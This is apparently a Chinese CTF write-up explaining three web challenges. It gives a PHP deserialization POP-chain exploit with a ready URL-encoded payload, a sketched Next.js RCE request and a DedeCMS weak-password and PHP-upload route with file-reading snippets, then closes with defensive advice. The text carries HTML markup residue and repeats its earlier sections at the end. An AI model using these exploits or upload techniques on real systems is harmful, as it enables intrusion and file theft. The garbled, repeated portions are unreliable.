PHP反序列化漏洞与CTF赛题实战解析<\/h1>

1. hellogate题目分析<\/h2>

1.1 题目背景<\/h3>
题目初始显示为一张图片，通过抓包分析发现响应包中包含PHP代码，经分析为PHP反序列化漏洞题目。<\/p>

1.2 代码结构分析<\/h3>
题目包含三个核心类：A、B、C，需要构造POP链实现任意文件读取。<\/p>

类C分析<\/h4>

class<\/span> C<\/span>{
<\/span><\/span>    public<\/span> $cmd;
<\/span><\/span>    
<\/span><\/span>    \/\/ __get魔术方法：当访问不可访问属性时触发
<\/span><\/span><\/span><\/span>    public<\/span> function<\/span> __get($name) {
<\/span><\/span>        return<\/span> file_get_contents<\/span>($this-><\/span>cmd<\/span>);
<\/span><\/span>    }
<\/span><\/span>}
<\/span><\/span><\/code><\/pre>
关键方法<\/strong>：__get()<\/code>魔术方法<\/li>
触发条件<\/strong>：访问不存在或不可访问的属性<\/li>
利用价值<\/strong>：通过file_get_contents()<\/code>实现任意文件读取<\/li>
<\/ul>
类B分析<\/h4>
class<\/span> B<\/span>{
<\/span><\/span>    public<\/span> $worker;
<\/span><\/span>    public<\/span> $cmd;
<\/span><\/span>    
<\/span><\/span>    \/\/ __toString魔术方法：当对象被当作字符串使用时触发
<\/span><\/span><\/span><\/span>    public<\/span> function<\/span> __toString() {
<\/span><\/span>        return<\/span> $this-><\/span>worker<\/span>-><\/span>return<\/span>; \/\/ 注意：return属性不存在
<\/span><\/span><\/span><\/span>    }
<\/span><\/span>}
<\/span><\/span><\/code><\/pre>
关键方法<\/strong>：__toString()<\/code>魔术方法<\/li>
触发条件<\/strong>：对象被当作字符串处理<\/li>
利用价值<\/strong>：通过访问不存在的return<\/code>属性触发类C的__get()<\/code>方法<\/li>
<\/ul>
类A分析<\/h4>
class<\/span> A<\/span>{
<\/span><\/span>    public<\/span> $handle;
<\/span><\/span>    
<\/span><\/span>    public<\/span> function<\/span> triggerMethod<\/span>() {
<\/span><\/span>        return<\/span> $this-><\/span>handle<\/span> .<\/span> "123"<\/span>;
<\/span><\/span>    }
<\/span><\/span>}
<\/span><\/span><\/code><\/pre>
关键方法<\/strong>：triggerMethod()<\/code>方法<\/li>
触发条件<\/strong>：题目自动调用此方法<\/li>
利用价值<\/strong>：当handle<\/code>属性为B类对象时，拼接字符串操作会触发__toString()<\/code><\/li>
<\/ul>
1.3 POP链构造原理<\/h3>
调用链<\/strong>：A → B → C<\/p>

起点<\/strong>：题目自动调用A->triggerMethod()<\/code><\/li>
转换<\/strong>：$this->handle . "123"<\/code>将B类对象转为字符串，触发B->__toString()<\/code><\/li>
属性访问<\/strong>：$this->worker->return<\/code>访问不存在的return属性，触发C->__get()<\/code><\/li>
最终执行<\/strong>：file_get_contents($this->cmd)<\/code>读取指定文件<\/li>
<\/ol>
1.4 漏洞利用EXP<\/h3>
<?<\/span>php<\/span>
<\/span><\/span>class<\/span> A<\/span>{
<\/span><\/span>    public<\/span> $handle;
<\/span><\/span>}
<\/span><\/span>
<\/span><\/span>class<\/span> B<\/span>{
<\/span><\/span>    public<\/span> $worker;
<\/span><\/span>    public<\/span> $cmd;
<\/span><\/span>}
<\/span><\/span>
<\/span><\/span>class<\/span> C<\/span>{
<\/span><\/span>    public<\/span> $cmd;
<\/span><\/span>}
<\/span><\/span>
<\/span><\/span>\/\/ 逆向构造POP链
<\/span><\/span><\/span><\/span>$c =<\/span> new<\/span> C<\/span>();
<\/span><\/span>$c-><\/span>cmd<\/span> =<\/span> "\/flag"<\/span>;  \/\/ 设置要读取的文件路径
<\/span><\/span><\/span><\/span>
<\/span><\/span>$b =<\/span> new<\/span> B<\/span>();
<\/span><\/span>$b-><\/span>worker<\/span> =<\/span> $c;    \/\/ 使B的worker属性指向C对象
<\/span><\/span><\/span><\/span>
<\/span><\/span>$a =<\/span> new<\/span> A<\/span>();
<\/span><\/span>$a-><\/span>handle<\/span> =<\/span> $b;    \/\/ 使A的handle属性指向B对象
<\/span><\/span><\/span><\/span>
<\/span><\/span>$payload =<\/span> serialize<\/span>($a);
<\/span><\/span>echo<\/span> urlencode<\/span>($payload);
<\/span><\/span>?><\/span>
<\/span><\/span><\/span><\/code><\/pre>生成的有效Payload<\/strong>：<\/p>
O%3A1%3A%22A%22%3A1%3A%7Bs%3A6%3A%22handle%22%3BO%3A1%3A%22B%22%3A2%3A%7Bs%3A6%3A%22worker%22%3BO%3A1%3A%22C%22%3A1%3A%7Bs%3A3%3A%22cmd%22%3Bs%3A5%3A%22%2Fflag%22%3B%7Ds%3A3%3A%22cmd%22%3BN%3B%7D%7D
<\/code><\/pre>
1.5 实战利用<\/h3>
将生成的payload提交给题目，成功触发漏洞并读取\/flag<\/code>文件内容。<\/p>
2. redjs题目分析<\/h2>
2.1 题目背景<\/h3>
基于Next.js框架的Web应用，存在Node.js RCE漏洞。<\/p>
2.2 漏洞原理<\/h3>
利用Next.js框架的特定漏洞（CVE相关）实现远程代码执行。<\/p>
2.3 利用步骤<\/h3>

识别框架<\/strong>：通过页面特征识别为Next.js应用<\/li>
查找POC<\/strong>：参考公开的Next.js RCE漏洞利用代码<\/li>
构造POST请求<\/strong>：包含恶意payload实现命令执行<\/li>
权限提升<\/strong>：成功获取root权限后读取系统文件<\/li>
<\/ol>
2.4 关键Payload<\/h3>
通过特殊构造的POST请求实现命令执行，直接读取\/flag<\/code>文件：<\/p>
POST<\/span> \/api\/route HTTP<\/span>\/<\/span>1.1<\/span>
<\/span><\/span>Host:<\/span> target.com<\/span>
<\/span><\/span>Content-Type:<\/span> application\/json<\/span>
<\/span><\/span>
<\/span><\/span>{"payload"<\/span>: "恶意JavaScript代码实现RCE"<\/span>}
<\/span><\/span><\/code><\/pre>3. dedecms题目分析（非预期解）<\/h2>
3.1 环境搭建<\/h3>

CMS系统：织梦DedeCMS V5.7<\/li>
存在前台文件上传漏洞<\/li>
<\/ul>
3.2 非预期解题路径<\/h3>
3.2.1 信息收集<\/h4>

用户注册<\/strong>：通过注册功能发现存在用户Aa123456789<\/code>和admin<\/code><\/li>
后台发现<\/strong>：通过目录扫描发现\/dede<\/code>后台管理路径<\/li>
弱密码利用<\/strong>：使用Aa123456789:Aa123456789<\/code>成功登录后台<\/li>
<\/ol>
3.2.2 文件上传漏洞利用<\/h4>

功能定位<\/strong>：在"更新主页HTML" → "主页模板"中找到文件上传点<\/li>
漏洞确认<\/strong>：可直接上传PHP文件并被解析<\/li>
WAF绕过<\/strong>：系统存在安全检测，需要绕过危险函数过滤<\/li>
<\/ol>
3.2.3 无参RCE技术<\/h4>
由于WAF限制，采用文件读取方式获取flag：<\/p>
目录遍历Payload<\/strong>：<\/p>
<?<\/span>php<\/span>
<\/span><\/span>\/\/ 读取父级目录
<\/span><\/span><\/span><\/span>print_r<\/span>(scandir<\/span>("..\/"<\/span>));
<\/span><\/span>
<\/span><\/span>\/\/ 随机文件读取（需要多次尝试）
<\/span><\/span><\/span><\/span>$files =<\/span> scandir<\/span>("\/"<\/span>);
<\/span><\/span>$random_file =<\/span> $files[array_rand<\/span>($files)];
<\/span><\/span>echo<\/span> file_get_contents<\/span>("\/"<\/span> .<\/span> $random_file);
<\/span><\/span>?><\/span>
<\/span><\/span><\/span><\/code><\/pre>3.2.4 预期解发现<\/h4>
比赛后发现存在更简单的利用方式：<\/p>

前台文件上传<\/strong>：在文章发表处可直接上传Webshell<\/li>
无限制上传<\/strong>：对文件类型检测不严格，可直接上传PHP文件<\/li>
无WAF防护<\/strong>：此路径上传的文件不受安全检测限制<\/li>
<\/ul>
3.3 修复建议<\/h3>

严格限制文件上传类型<\/li>
加强后台认证机制<\/li>
完善WAF防护规则<\/li>
及时更新CMS版本<\/li>
<\/ol>
4. 总结与学习要点<\/h2>
4.1 PHP反序列化漏洞关键<\/h3>

魔术方法理解<\/strong>：掌握__construct<\/code>、__destruct<\/code>、__get<\/code>、__set<\/code>、__toString<\/code>等方法的触发条件<\/li>
POP链构造<\/strong>：理解对象属性之间的引用关系，建立完整的调用链<\/li>
实战技巧<\/strong>：注意属性 visibility（public\/private\/protected）对序列化的影响<\/li>
<\/ol>
4.2 CTF解题思维<\/h3>

信息收集<\/strong>：充分利用目录扫描、源码分析等技术<\/li>
漏洞关联<\/strong>：将已知漏洞与题目特征进行关联<\/li>
多重尝试<\/strong>：一个题目可能存在多种解法（预期解与非预期解）<\/li>
<\/ol>
4.3 防御措施<\/h3>

对用户输入的序列化数据进行严格验证<\/li>
使用安全的反序列化方法，如指定允许的类白名单<\/li>
及时更新框架和组件版本<\/li>
实施最小权限原则，限制文件系统访问权限<\/li>
<\/ol>
通过本教学文档的学习，读者应能够深入理解PHP反序列化漏洞的原理和利用方法，掌握CTF比赛中Web类题目的解题思路，并具备相应的安全防护意识。<\/p>

PHP反序列化漏洞与CTF赛题实战解析<\/h1>

1. hellogate题目分析<\/h2>

1.1 题目背景<\/h3> 题目初始显示为一张图片，通过抓包分析发现响应包中包含PHP代码，经分析为PHP反序列化漏洞题目。<\/p>

1.2 代码结构分析<\/h3> 题目包含三个核心类：A、B、C，需要构造POP链实现任意文件读取。<\/p>

1.5 实战利用<\/h3> 将生成的payload提交给题目，成功触发漏洞并读取\/flag<\/code>文件内容。<\/p>

2.1 题目背景<\/h3> 基于Next.js框架的Web应用，存在Node.js RCE漏洞。<\/p>

2.2 漏洞原理<\/h3> 利用Next.js框架的特定漏洞（CVE相关）实现远程代码执行。<\/p>

3. dedecms题目分析（非预期解）<\/h2>

3.2 非预期解题路径<\/h3>

4. 总结与学习要点<\/h2>

1.1 题目背景<\/h3>
题目初始显示为一张图片，通过抓包分析发现响应包中包含PHP代码，经分析为PHP反序列化漏洞题目。<\/p>

1.2 代码结构分析<\/h3>
题目包含三个核心类：A、B、C，需要构造POP链实现任意文件读取。<\/p>

1.5 实战利用<\/h3>
将生成的payload提交给题目，成功触发漏洞并读取`\/flag<\/code>文件内容。<\/p>`

2.1 题目背景<\/h3>
基于Next.js框架的Web应用，存在Node.js RCE漏洞。<\/p>

2.2 漏洞原理<\/h3>
利用Next.js框架的特定漏洞（CVE相关）实现远程代码执行。<\/p>